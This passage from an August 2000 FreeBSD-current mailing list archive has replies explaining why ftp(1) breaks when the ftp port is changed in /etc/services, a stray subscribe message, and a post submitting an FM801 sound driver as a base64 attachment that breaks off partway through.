inetd & portmap? Returning ftp to port 21 in services fixes this problem. I posted earlier about my problems with ftp recently. -Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 3: 5: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by hub.freebsd.org (Postfix) with ESMTP id 667E437BD2E for ; Wed, 16 Aug 2000 03:04:55 -0700 (PDT) (envelope-from itojun@itojun.org) Received: from kiwi.itojun.org (localhost.itojun.org [127.0.0.1]) by coconut.itojun.org (8.9.3+3.2W/3.7W) with ESMTP id TAA25457; Wed, 16 Aug 2000 19:04:46 +0900 (JST) To: Donn Miller Cc: current@freebsd.org In-reply-to: dmmiller's message of Wed, 16 Aug 2000 05:39:33 -0400. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: ftp and /etc/services... From: itojun@iijlab.net Date: Wed, 16 Aug 2000 19:04:46 +0900 Message-ID: <25455.966420286@coconut.itojun.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >This is on a recently-built -current box. When I try to move ftp from >port 21 to port 2121 in /etc/services, I get a "Connection >refused" message when I try to login to anonymous ftp sites. Should ftp >be this dependent on /etc/services? What if you _have_ no services >running, e.g. inetd & portmap? Returning ftp to port 21 in services fixes >this problem. I posted earlier about my problems with ftp recently. /usr/bin/ftp depends on "ftp" line in /etc/services. you cannot just change it. itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 4: 5:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id A43A237BBF5 for ; Wed, 16 Aug 2000 04:05:23 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.16 #1) id 13P10U-0004OK-00; Wed, 16 Aug 2000 13:05:14 +0200 From: Sheldon Hearn To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: ftp and /etc/services... In-reply-to: Your message of "Wed, 16 Aug 2000 05:39:33 -0400." Date: Wed, 16 Aug 2000 13:05:14 +0200 Message-ID: <16883.966423914@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 16 Aug 2000 05:39:33 -0400, Donn Miller wrote: > This is on a recently-built -current box. When I try to move ftp from > port 21 to port 2121 in /etc/services, I get a "Connection > refused" message when I try to login to anonymous ftp sites. Sounds like ftp(1) is doing its job -- it defaults to using the ``ftp'' port, as resolved using the /etc/services file. If you insist on messing around withy /etc/services, then you can specify a port number to ftp(1) on the command line. See the -P option described in the ftp(1) manual page. If you're messing around with /etc/services just because you want to run ftpd(8) on a non-standard port, then I think you're going about it the wrong way. You should rather add a new service to /etc/services, called something like ``ftp-weird'', and then configure inetd(8) to launch ftpd(8) to handle connections to ``ftp-weird''. It's a little odd that ftpd(8) can be started and run as a listening daemon, and yet provides no option for specifying the port on which it should listen. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 5:38:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from bsd2.zr.ru (bsd2.zr.ru [194.186.162.100]) by hub.freebsd.org (Postfix) with ESMTP id 0808337C0FC for ; Wed, 16 Aug 2000 05:38:32 -0700 (PDT) (envelope-from ruslan@zr.ru) Received: from zbasta (basta.zr.ru [194.186.162.197]) by bsd2.zr.ru (8.10.0/8.8.8) with SMTP id e7GCfVS63806 for ; Wed, 16 Aug 2000 16:41:31 +0400 (MSD) Message-ID: <019d01c0077e$7c046370$c5a2bac2@zr.ru> Reply-To: "Ruslan V. Sulakov" From: "Ruslan V. Sulakov" To: Subject: subscribe Date: Wed, 16 Aug 2000 16:35:38 +0400 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 7:34:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from fobos.marketsite.ru (fobos.marketsite.ru [194.226.198.36]) by hub.freebsd.org (Postfix) with ESMTP id D377937BD42; Wed, 16 Aug 2000 07:34:12 -0700 (PDT) (envelope-from diwil@dataart.com) Received: from bb.marketsite.ru ([194.226.198.1] helo=runnet-gw.marketsite.ru) by fobos.marketsite.ru with esmtp (Exim 3.14 #40) id 13P0WJ-0000Ds-00; Wed, 16 Aug 2000 14:34:04 +0400 Content-Length: 27266 Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_=XFMail.1.4.0.FreeBSD:000816183513:1038=_" Date: Wed, 16 Aug 2000 18:35:13 +0400 (MSD) Reply-To: diwil@dataart.com From: dimmy the wild To: freebsd-announce@freebsd.org, freebsd-current@freebsd.org Subject: FW: fm801 sound driver Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format --_=XFMail.1.4.0.FreeBSD:000816183513:1038=_ Content-Type: text/plain; charset=KOI8-R Fellows, There is a Forte Media FM801 sound chip support attached (one file). I have browsed the handbook and could not find anything how to (and whom to) submit the source code. Anyway, the code should be in /usr/srs/sys/dev/sound/pci/fm801.c and the file /usr/src/sys/conf/files should contain the line as follows: dev/sound/pci/fm801.c optional pcm pci ... Ok, if somebody has this hardware, I'll be happy to get some comments and bug reports. Have fun, regards, Dmitry. -- ********************************************************************** ("`-''-/").___..--''"`-._ (\ Dimmy the Wild UA1ACZ `6_ 6 ) `-. ( ).`-.__.`) DataArt Enterprises, Inc. (_Y_.)' ._ ) `._ `. ``-..-' Serpukhovskaja street, 10 _..`--'_..-_/ /--'_.' ,' Saint Petersburg, Russia (il),-'' (li),' ((!.-' +7 (812) 3261780, 5552490 ********************************************************************** --_=XFMail.1.4.0.FreeBSD:000816183513:1038=_ Content-Disposition: attachment; filename="fm801.c" Content-Transfer-Encoding: base64 Content-Type: application/octet-stream; name=fm801.c; SizeOnDisk=19169 LyoKICogQ29weXJpZ2h0IChjKSAyMDAwIERtaXRyeSBEaWNreSBkaXdpbEBkYXRhYXJ0LmNvbQog KiBBbGwgcmlnaHRzIHJlc2VydmVkLgogKgogKiBSZWRpc3RyaWJ1dGlvbiBhbmQgdXNlIGluIHNv dXJjZSBhbmQgYmluYXJ5IGZvcm1zLCB3aXRoIG9yIHdpdGhvdXQKICogbW9kaWZpY2F0aW9uLCBh cmUgcGVybWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zCiAqIGFy ZSBtZXQ6CiAqIDEuIFJlZGlzdHJpYnV0aW9ucyBvZiBzb3VyY2UgY29kZSBtdXN0IHJldGFpbiB0 aGUgYWJvdmUgY29weXJpZ2h0CiAqICAgIG5vdGljZSwgdGhpcyBsaXN0IG9mIGNvbmRpdGlvbnMg YW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lci4KICogMi4gUmVkaXN0cmlidXRpb25zIGluIGJp bmFyeSBmb3JtIG11c3QgcmVwcm9kdWNlIHRoZSBhYm92ZSBjb3B5cmlnaHQKICogICAgbm90aWNl LCB0aGlzIGxpc3Qgb2YgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2luZyBkaXNjbGFpbWVyIGlu IHRoZQogKiAgICBkb2N1bWVudGF0aW9uIGFuZC9vciBvdGhlciBtYXRlcmlhbHMgcHJvdmlkZWQg d2l0aCB0aGUgZGlzdHJpYnV0aW9uLgogKgogKiBUSElTIFNPRlRXQVJFIElTIFBST1ZJREVEIEJZ IFRIRSBBVVRIT1IgQU5EIENPTlRSSUJVVE9SUyBgQVMgSVMnJyBBTkQKICogQU5ZIEVYUFJFU1Mg T1IgSU1QTElFRCBXQVJSQU5USUVTLCBJTkNMVURJTkcsIEJVVCBOT1QgTElNSVRFRCBUTywgVEhF CiAqIElNUExJRUQgV0FSUkFOVElFUyBPRiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5FU1MgRk9S IEEgUEFSVElDVUxBUiBQVVJQT1NFCiAqIEFSRSBESVNDTEFJTUVELiAgSU4gTk8gRVZFTlQgU0hB TEwgVEhFIEFVVEhPUiBPUiBDT05UUklCVVRPUlMgQkUgTElBQkxFCiAqIEZPUiBBTlkgRElSRUNU LCBJTkRJUkVDVCwgSU5DSURFTlRBTCwgU1BFQ0lBTCwgRVhFTVBMQVJZLCBPUiBDT05TRVFVRU5U SUFMCiAqIERBTUFHRVMgKElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRPLCBQUk9DVVJFTUVO VCBPRiBTVUJTVElUVVRFIEdPT0RTCiAqIE9SIFNFUlZJQ0VTOyBMT1NTIE9GIFVTRSwgREFUQSwg T1IgUFJPRklUUzsgT1IgQlVTSU5FU1MgSU5URVJSVVBUSU9OKQogKiBIT1dFVkVSIENBVVNFRCBB TkQgT04gQU5ZIFRIRU9SWSBPRiBMSUFCSUxJVFksIFdIRVRIRVIgSU4gQ09OVFJBQ1QsIFNUUklD VAogKiBMSUFCSUxJVFksIE9SIFRPUlQgKElOQ0xVRElORyBORUdMSUdFTkNFIE9SIE9USEVSV0lT RSkgQVJJU0lORyBJTiBBTlkgV0FZCiAqIE9VVCBPRiBUSEUgVVNFIE9GIFRISVMgU09GVFdBUkUs IEVWRU4gSUYgQURWSVNFRCBPRiBUSEUgUE9TU0lCSUxJVFkgT0YKICogU1VDSCBEQU1BR0UuCiAq CiAqICRJZCQKICovCgojaW5jbHVkZSA8ZGV2L3NvdW5kL3BjbS9zb3VuZC5oPgojaW5jbHVkZSA8 ZGV2L3NvdW5kL3BjbS9hYzk3Lmg+CiNpbmNsdWRlIDxwY2kvcGNpcmVnLmg+CiNpbmNsdWRlIDxw Y2kvcGNpdmFyLmg+CgojZGVmaW5lIFBDSV9WRU5ET1JfRk9SVEVNRURJQQkweDEzMTkKI2RlZmlu ZSBQQ0lfREVWSUNFX0ZPUlRFTUVESUExCTB4MDgwMTEzMTkKI2RlZmluZSBQQ0lfREVWSUNFX0ZP UlRFTUVESUEyCTB4MDgwMjEzMTkJLyogPz8/IGhhdmUgbm8gaWRlYSB3aGF0J3MgdGhpcy4uLiAq LwoKI2RlZmluZSBGTV9QQ01fVk9MVU1FICAgICAgICAgICAweDAwCiNkZWZpbmUgRk1fRk1fVk9M VU1FICAgICAgICAgICAgMHgwMgojZGVmaW5lIEZNX0kyU19WT0xVTUUgICAgICAgICAgIDB4MDQK I2RlZmluZSBGTV9SRUNPUkRfU09VUkNFICAgICAgICAweDA2CgojZGVmaW5lIEZNX1BMQVlfQ1RM ICAgICAgICAgICAgIDB4MDgKI2RlZmluZSAgRk1fUExBWV9SQVRFX01BU0sgICAgICAgICAgICAg IDB4MGYwMAojZGVmaW5lICBGTV9QTEFZX0JVRjFfTEFTVCAgICAgICAgICAgICAgMHgwMDAxCiNk ZWZpbmUgIEZNX1BMQVlfQlVGMl9MQVNUICAgICAgICAgICAgICAweDAwMDIKI2RlZmluZSAgRk1f UExBWV9TVEFSVCAgICAgICAgICAgICAgICAgIDB4MDAyMAojZGVmaW5lICBGTV9QTEFZX1BBVVNF ICAgICAgICAgICAgICAgICAgMHgwMDQwCiNkZWZpbmUgIEZNX1BMQVlfU1RPUE5PVyAgICAgICAg ICAgICAgICAweDAwODAKI2RlZmluZSAgRk1fUExBWV8xNkJJVCAgICAgICAgICAgICAgICAgIDB4 NDAwMAojZGVmaW5lICBGTV9QTEFZX1NURVJFTyAgICAgICAgICAgICAgICAgMHg4MDAwCgojZGVm aW5lIEZNX1BMQVlfRE1BTEVOICAgICAgICAgIDB4MGEKI2RlZmluZSBGTV9QTEFZX0RNQUJVRjEg ICAgICAgICAweDBjCiNkZWZpbmUgRk1fUExBWV9ETUFCVUYyICAgICAgICAgMHgxMAoKCiNkZWZp bmUgRk1fUkVDX0NUTCAgICAgICAgICAgICAgMHgxNAojZGVmaW5lICBGTV9SRUNfUkFURV9NQVNL ICAgICAgICAgICAgICAgMHgwZjAwCiNkZWZpbmUgIEZNX1JFQ19CVUYxX0xBU1QgICAgICAgICAg ICAgICAweDAwMDEKI2RlZmluZSAgRk1fUkVDX0JVRjJfTEFTVCAgICAgICAgICAgICAgIDB4MDAw MgojZGVmaW5lICBGTV9SRUNfU1RBUlQgICAgICAgICAgICAgICAgICAgMHgwMDIwCiNkZWZpbmUg IEZNX1JFQ19QQVVTRSAgICAgICAgICAgICAgICAgICAweDAwNDAKI2RlZmluZSAgRk1fUkVDX1NU T1BOT1cgICAgICAgICAgICAgICAgIDB4MDA4MAojZGVmaW5lICBGTV9SRUNfMTZCSVQgICAgICAg ICAgICAgICAgICAgMHg0MDAwCiNkZWZpbmUgIEZNX1JFQ19TVEVSRU8gICAgICAgICAgICAgICAg ICAweDgwMDAKCgojZGVmaW5lIEZNX1JFQ19ETUFMRU4gICAgICAgICAgIDB4MTYKI2RlZmluZSBG TV9SRUNfRE1BQlVGMSAgICAgICAgICAweDE4CiNkZWZpbmUgRk1fUkVDX0RNQUJVRjIgICAgICAg ICAgMHgxYwoKI2RlZmluZSBGTV9DT0RFQ19DVEwgICAgICAgICAgICAweDIyCiNkZWZpbmUgRk1f Vk9MVU1FICAgICAgICAgICAgICAgMHgyNgojZGVmaW5lICBGTV9WT0xVTUVfTVVURSAgICAgICAg ICAgICAgICAgMHg4MDAwCgojZGVmaW5lIEZNX0NPREVDX0NNRCAgICAgICAgICAgIDB4MmEKI2Rl ZmluZSAgRk1fQ09ERUNfQ01EX1JFQUQgICAgICAgICAgICAgIDB4MDA4MAojZGVmaW5lICBGTV9D T0RFQ19DTURfVkFMSUQgICAgICAgICAgICAgMHgwMTAwCiNkZWZpbmUgIEZNX0NPREVDX0NNRF9C VVNZICAgICAgICAgICAgICAweDAyMDAKCiNkZWZpbmUgRk1fQ09ERUNfREFUQSAgICAgICAgICAg MHgyYwoKI2RlZmluZSBGTV9JT19DVEwgICAgICAgICAgICAgICAweDUyCiNkZWZpbmUgRk1fQ0FS RF9DVEwgICAgICAgICAgICAgMHg1NAoKI2RlZmluZSBGTV9JTlRNQVNLICAgICAgICAgICAgICAw eDU2CiNkZWZpbmUgIEZNX0lOVE1BU0tfUExBWSAgICAgICAgICAgICAgICAweDAwMDEKI2RlZmlu ZSAgRk1fSU5UTUFTS19SRUMgICAgICAgICAgICAgICAgIDB4MDAwMgojZGVmaW5lICBGTV9JTlRN QVNLX1ZPTCAgICAgICAgICAgICAgICAgMHgwMDQwCiNkZWZpbmUgIEZNX0lOVE1BU0tfTVBVICAg ICAgICAgICAgICAgICAweDAwODAKCiNkZWZpbmUgRk1fSU5UU1RBVFVTICAgICAgICAgICAgMHg1 YQojZGVmaW5lICBGTV9JTlRTVEFUVVNfUExBWSAgICAgICAgICAgICAgMHgwMTAwCiNkZWZpbmUg IEZNX0lOVFNUQVRVU19SRUMgICAgICAgICAgICAgICAweDAyMDAKI2RlZmluZSAgRk1fSU5UU1RB VFVTX1ZPTCAgICAgICAgICAgICAgIDB4NDAwMAojZGVmaW5lICBGTV9JTlRTVEFUVVNfTVBVICAg ICAgICAgICAgICAgMHg4MDAwCgojZGVmaW5lIEZNODAxX0JVRkZTSVpFIDEwMjQqNAkvKiBPdGhl ciB2YWx1ZXMgZG8gbm90IHdvcmshISEgKi8KCi8qIGRlYnVnIHB1cnBvc2VzICovCiNkZWZpbmUg RFBSSU5UCWlmKDApIHByaW50ZgoKCi8qIGNoYW5uZWwgaW50ZXJmYWNlICovCnN0YXRpYyB2b2lk ICpmbTgwMWNoX2luaXQodm9pZCAqZGV2aW5mbywgc25kX2RidWYgKmIsIHBjbV9jaGFubmVsICpj LCBpbnQgZGlyKTsKc3RhdGljIGludCBmbTgwMWNoX3NldGRpcih2b2lkICpkYXRhLCBpbnQgZGly KTsKc3RhdGljIGludCBmbTgwMWNoX3NldGZvcm1hdCh2b2lkICpkYXRhLCB1X2ludDMyX3QgZm9y bWF0KTsKc3RhdGljIGludCBmbTgwMWNoX3NldHNwZWVkKHZvaWQgKmRhdGEsIHVfaW50MzJfdCBz cGVlZCk7CnN0YXRpYyBpbnQgZm04MDFjaF9zZXRibG9ja3NpemUodm9pZCAqZGF0YSwgdV9pbnQz Ml90IGJsb2Nrc2l6ZSk7CnN0YXRpYyBpbnQgZm04MDFjaF90cmlnZ2VyKHZvaWQgKmRhdGEsIGlu dCBnbyk7CnN0YXRpYyBpbnQgZm04MDFjaF9nZXRwdHIodm9pZCAqZGF0YSk7CnN0YXRpYyBwY21j aGFuX2NhcHMgKmZtODAxY2hfZ2V0Y2Fwcyh2b2lkICpkYXRhKTsKLyoKc3RhdGljIGludCBmbTgw MWNoX3NldHVwKHBjbV9jaGFubmVsICpjKTsKKi8KCnN0YXRpYyBwY21jaGFuX2NhcHMgZm04MDFj aF9jYXBzID0gewoJNDAwMCwgNDgwMDAsCglBRk1UX1NURVJFTyB8IEFGTVRfVTggfCBBRk1UX1Mx Nl9MRSwKCUFGTVRfU1RFUkVPIHwgQUZNVF9VOCB8IEFGTVRfUzE2X0xFCn07CiAgICAgICAgICAg ICAgICAKc3RhdGljIHBjbV9jaGFubmVsIGZtODAxX2NoYW50ZW1wbGF0ZSA9IHsKCWZtODAxY2hf aW5pdCwKCWZtODAxY2hfc2V0ZGlyLAoJZm04MDFjaF9zZXRmb3JtYXQsCglmbTgwMWNoX3NldHNw ZWVkLAoJZm04MDFjaF9zZXRibG9ja3NpemUsCglmbTgwMWNoX3RyaWdnZXIsCglmbTgwMWNoX2dl dHB0ciwKCWZtODAxY2hfZ2V0Y2FwcywKfTsKCnN0cnVjdCBmbTgwMV9pbmZvOwoKc3RydWN0IGZt ODAxX2NoaW5mbyB7CglzdHJ1Y3QgZm04MDFfaW5mbyAJKnBhcmVudDsKCXBjbV9jaGFubmVsIAkJ KmNoYW5uZWw7CglzbmRfZGJ1ZiAJCSpidWZmZXI7Cgl1X2ludDMyX3QgCQlzcGQsIGRpciwgZm10 OwkvKiBzcGVlZCwgZGlyZWN0aW9uLCBmb3JtYXQgKi8KCXVfaW50MzJfdAkJc2hpZnQ7Cn07Cgpz dHJ1Y3QgZm04MDFfaW5mbyB7CglpbnQgCQkJdHlwZTsKCWJ1c19zcGFjZV90YWdfdCAJc3Q7Cgli dXNfc3BhY2VfaGFuZGxlX3QgCXNoOwoJYnVzX2RtYV90YWdfdCAgIAlwYXJlbnRfZG1hdDsKCQoJ ZGV2aWNlX3QgCQlkZXY7CglpbnQgCQkJbnVtOwoJdV9pbnQzMl90IAkJdW5pdDsKCQoJc3RydWN0 IHJlc291cmNlIAkqcmVnLCAqaXJxOwoJaW50ICAgICAgICAgICAgIAlyZWd0eXBlLCByZWdpZCwg aXJxaWQ7Cgl2b2lkICAgICAgICAgICAgCSppaDsKCgl1X2ludDMyX3QJCXBsYXlfZmxpcCwKCQkJ CXBsYXlfbmV4dGJsaywKCQkJCXBsYXlfc3RhcnQsCgkJCQlwbGF5X2Jsa3NpemUsCgkJCQlwbGF5 X2ZtdCwKCQkJCXBsYXlfc2hpZnQsCgkJCQlwbGF5X3NpemU7CgkKCXVfaW50MzJfdAkJcmVjX2Zs aXAsCgkJCQlyZWNfbmV4dGJsaywKCQkJCXJlY19zdGFydCwKCQkJCXJlY19ibGtzaXplLAoJCQkJ cmVjX2ZtdCwKCQkJCXJlY19zaGlmdCwKCQkJCXJlY19zaXplOwoJCglzdHJ1Y3QgZm04MDFfY2hp bmZvIAlwY2gsIHJjaDsKfTsKCgovKiBzZXZlcmFsIHByb2NlZHVyZXMgdG8gcmVsZWFzZSB0aGUg dGhpbmcgcHJvcGVybHkgaWYgY29tcGlsZWQgYXMgbW9kdWxlICovCnN0YXRpYyBzdHJ1Y3QgZm04 MDFfaW5mbyAqc2F2ZTgwMTsKc3RydWN0IGZtODAxX2luZm8gKmZtODAxX2dldCBfX1AoKHZvaWQg KSk7CgpzdGF0aWMgdm9pZApmbTgwMV9zYXZlKHN0cnVjdCBmbTgwMV9pbmZvICpmbTgwMSkKewoJ c2F2ZTgwMSA9IGZtODAxOwp9CgpzdHJ1Y3QgZm04MDFfaW5mbyAqCmZtODAxX2dldCh2b2lkICkK ewoJcmV0dXJuIHNhdmU4MDE7Cn0KCi8qIEJ1cyBSZWFkIC8gV3JpdGUgcm91dGluZXMgKi8Kc3Rh dGljIHVfaW50MzJfdApmbTgwMV9yZChzdHJ1Y3QgZm04MDFfaW5mbyAqZm04MDEsIGludCByZWdu bywgaW50IHNpemUpCnsKCXN3aXRjaChzaXplKSB7CgljYXNlIDE6CgkJcmV0dXJuIChidXNfc3Bh Y2VfcmVhZF8xKGZtODAxLT5zdCwgZm04MDEtPnNoLCByZWdubykpOwoJY2FzZSAyOgoJCXJldHVy biAoYnVzX3NwYWNlX3JlYWRfMihmbTgwMS0+c3QsIGZtODAxLT5zaCwgcmVnbm8pKTsKCWNhc2Ug NDoKCQlyZXR1cm4gKGJ1c19zcGFjZV9yZWFkXzQoZm04MDEtPnN0LCBmbTgwMS0+c2gsIHJlZ25v KSk7CglkZWZhdWx0OgoJCXJldHVybiAweGZmZmZmZmZmOwoJfQp9CgpzdGF0aWMgdm9pZApmbTgw MV93cihzdHJ1Y3QgZm04MDFfaW5mbyAqZm04MDEsIGludCByZWdubywgdV9pbnQzMl90IGRhdGEs IGludCBzaXplKQp7Cglzd2l0Y2goc2l6ZSkgewoJY2FzZSAxOgoJCXJldHVybiBidXNfc3BhY2Vf d3JpdGVfMShmbTgwMS0+c3QsIGZtODAxLT5zaCwgcmVnbm8sIGRhdGEpOwoJY2FzZSAyOgoJCXJl dHVybiBidXNfc3BhY2Vfd3JpdGVfMihmbTgwMS0+c3QsIGZtODAxLT5zaCwgcmVnbm8sIGRhdGEp OwoJY2FzZSA0OgoJCXJldHVybiBidXNfc3BhY2Vfd3JpdGVfNChmbTgwMS0+c3QsIGZtODAxLT5z aCwgcmVnbm8sIGRhdGEpOwoJZGVmYXVsdDoKCQlyZXR1cm47Cgl9Cn0KCi8qCiAqICBhYzk3IGNv ZGVjIHJvdXRpbmVzCiAqLwojZGVmaW5lIFRJTU8gNTAKc3RhdGljIHVfaW50MzJfdApmbTgwMV9y ZGNkKHZvaWQgKmRldmluZm8sIGludCByZWdubykKewoJc3RydWN0IGZtODAxX2luZm8gKmZtODAx ID0gKHN0cnVjdCBmbTgwMV9pbmZvICopZGV2aW5mbzsKCWludCBpOwoJCglmb3IgKGkgPSAwOyBp IDwgVElNTyAmJiBmbTgwMV9yZChmbTgwMSxGTV9DT0RFQ19DTUQsMikgJiBGTV9DT0RFQ19DTURf QlVTWTsgaSsrKSB7CgkJREVMQVkoMTAwMDApOwoJfQoJaWYgKGkgPj0gVElNTykgewoJCXByaW50 ZigiZm04MDEgcmRjZDogY29kZWMgYnVzeVxuIik7CgkJcmV0dXJuIDA7Cgl9CgkKCWZtODAxX3dy KGZtODAxLEZNX0NPREVDX0NNRCwgcmVnbm98Rk1fQ09ERUNfQ01EX1JFQUQsMik7CgoJZm9yIChp ID0gMDsgaSA8IFRJTU8gJiYgIShmbTgwMV9yZChmbTgwMSxGTV9DT0RFQ19DTUQsMikgJiBGTV9D T0RFQ19DTURfVkFMSUQpOyBpKyspCgl7CgkJREVMQVkoMTAwMDApOwoJfQoJaWYgKGkgPj0gVElN TykgewoJCXByaW50ZigiZm04MDEgcmRjZDogd3JpdGUgY29kZWMgaW52YWxpZFxuIik7CgkJcmV0 dXJuIDA7Cgl9CgkJCglyZXR1cm4gZm04MDFfcmQoZm04MDEsRk1fQ09ERUNfREFUQSwyKTsKfQoK c3RhdGljIHZvaWQKZm04MDFfd3JjZCh2b2lkICpkZXZpbmZvLCBpbnQgcmVnbm8sIHVfaW50MzJf dCBkYXRhKQp7CglzdHJ1Y3QgZm04MDFfaW5mbyAqZm04MDEgPSAoc3RydWN0IGZtODAxX2luZm8g KilkZXZpbmZvOwoJaW50IGk7CgkKCURQUklOVCgiZm04MDFfd3JjZCByZWcgMHgleFxuIixyZWdu byk7CgkKCS8qIFBvbGwgdW50aWwgY29kZWMgaXMgcmVhZHkgKi8KCWZvciAoaSA9IDA7IGkgPCBU SU1PICYmIGZtODAxX3JkKGZtODAxLEZNX0NPREVDX0NNRCwyKSAmIEZNX0NPREVDX0NNRF9CVVNZ OyBpKyspIHsKCQlERUxBWSgxMDAwMCk7Cgl9CglpZiAoaSA+PSBUSU1PKSB7CgkJcHJpbnRmKCJm bTgwMSB3cmNkOiByZWFkIGNvZGVjIGJ1c3lcbiIpOwoJCXJldHVybjsKCX0KCQoJZm04MDFfd3Io Zm04MDEsRk1fQ09ERUNfREFUQSxkYXRhLCAyKTsKCWZtODAxX3dyKGZtODAxLEZNX0NPREVDX0NN RCwgcmVnbm8sMik7CglyZXR1cm47Cn0KCi8qIAogKiBUaGUgaW50ZXJydXB0IGhhbmRsZXIgCiAq LwpzdGF0aWMgdm9pZApmbTgwMV9pbnRyKHZvaWQgKnApCnsKCXN0cnVjdCBmbTgwMV9pbmZvIAkq Zm04MDEgPSAoc3RydWN0IGZtODAxX2luZm8gKilwOwoJdV9pbnQzMl90ICAgICAgIAlpbnRzcmMg PSBmbTgwMV9yZChmbTgwMSwgRk1fSU5UU1RBVFVTLCAyKTsKCXN0cnVjdCBmbTgwMV9jaGluZm8J KmNoID0gJihmbTgwMS0+cGNoKTsKCXNuZF9kYnVmIAkJKmIgPSBjaC0+YnVmZmVyOwoJCglEUFJJ TlQoIlxuZm04MDFfaW50ciBpbnRzcmMgMHgleCAiLCBpbnRzcmMpOwoJRFBSSU5UKCJycCAlZCwg cmwgJWQsIGZwICVkIGZsICVkLCBzaXplPSVkXG4iLAoJCWItPnJwLGItPnJsLCBiLT5mcCxiLT5m bCwgYi0+Ymxrc3opOwoJCQoJaWYoaW50c3JjICYgRk1fSU5UU1RBVFVTX1BMQVkpIHsKCQlmbTgw MS0+cGxheV9mbGlwKys7CgkJaWYoZm04MDEtPnBsYXlfZmxpcCAmIDEpIAoJCQlmbTgwMV93cihm bTgwMSwgRk1fUExBWV9ETUFCVUYxLCBmbTgwMS0+cGxheV9zdGFydCw0KTsKCQllbHNlCgkJCWZt ODAxX3dyKGZtODAxLCBGTV9QTEFZX0RNQUJVRjIsIGZtODAxLT5wbGF5X25leHRibGssNCk7CgkJ Y2huX2ludHIoZm04MDEtPnBjaC5jaGFubmVsKTsKCX0gCgkKCWlmKGludHNyYyAmIEZNX0lOVFNU QVRVU19SRUMpIHsKCQlmbTgwMS0+cmVjX2ZsaXArKzsKCQlpZihmbTgwMS0+cmVjX2ZsaXApIAoJ CQlmbTgwMV93cihmbTgwMSwgRk1fUkVDX0RNQUJVRjEsIGZtODAxLT5yZWNfc3RhcnQsNCk7CgkJ ZWxzZQoJCQlmbTgwMV93cihmbTgwMSwgRk1fUkVDX0RNQUJVRjIsIGZtODAxLT5yZWNfbmV4dGJs ayw0KTsKCQljaG5faW50cihmbTgwMS0+cmNoLmNoYW5uZWwpOwoJfQoJCglpZiAoIGludHNyYyAm IEZNX0lOVFNUQVRVU19NUFUgKSB7CgkJLyogVGhpcyBpcyBhIFRPRE9pc2ggdGhpbmcuLi4gKi8K CQlmbTgwMV93cihmbTgwMSwgRk1fSU5UU1RBVFVTLCBpbnRzcmMgJiBGTV9JTlRTVEFUVVNfTVBV LDIpOwoJfQoJCglpZiAoIGludHNyYyAmIEZNX0lOVFNUQVRVU19WT0wgKSB7CgkJLyogVGhpcyBp cyBhIFRPRE9pc2ggdGhpbmcuLi4gKi8KCQlmbTgwMV93cihmbTgwMSwgRk1fSU5UU1RBVFVTLCBp bnRzcmMgJiBGTV9JTlRTVEFUVVNfVk9MLDIpOwoJfQoJCglEUFJJTlQoImZtODAxX2ludHIgY2xl YXJcblxuIik7CglmbTgwMV93cihmbTgwMSwgRk1fSU5UU1RBVFVTLCBpbnRzcmMgJiAoRk1fSU5U U1RBVFVTX1BMQVkgfCBGTV9JTlRTVEFUVVNfUkVDKSwgMik7Cn0KCi8qCiAqICBJbml0IHJvdXRp bmUgaXMgdGFrZW4gZnJvbSBhbiBvcmlnaW5hbCBOZXRCU0QgZHJpdmVyCiAqLwpzdGF0aWMgaW50 CmZtODAxX2luaXQoc3RydWN0IGZtODAxX2luZm8gKmZtODAxKQp7Cgl1X2ludDMyX3QgazE7CgkK CS8qIHJlc2V0IGNvZGVjICovCglmbTgwMV93cihmbTgwMSwgRk1fQ09ERUNfQ1RMLCAweDAwMjAs Mik7CglERUxBWSgxMDAwMDApOwoJZm04MDFfd3IoZm04MDEsIEZNX0NPREVDX0NUTCwgMHgwMDAw LDIpOwoJREVMQVkoMTAwMDAwKTsKCQoJZm04MDFfd3IoZm04MDEsIEZNX1BDTV9WT0xVTUUsIDB4 MDgwOCwyKTsKCWZtODAxX3dyKGZtODAxLCBGTV9GTV9WT0xVTUUsIDB4MDgwOCwyKTsKCWZtODAx 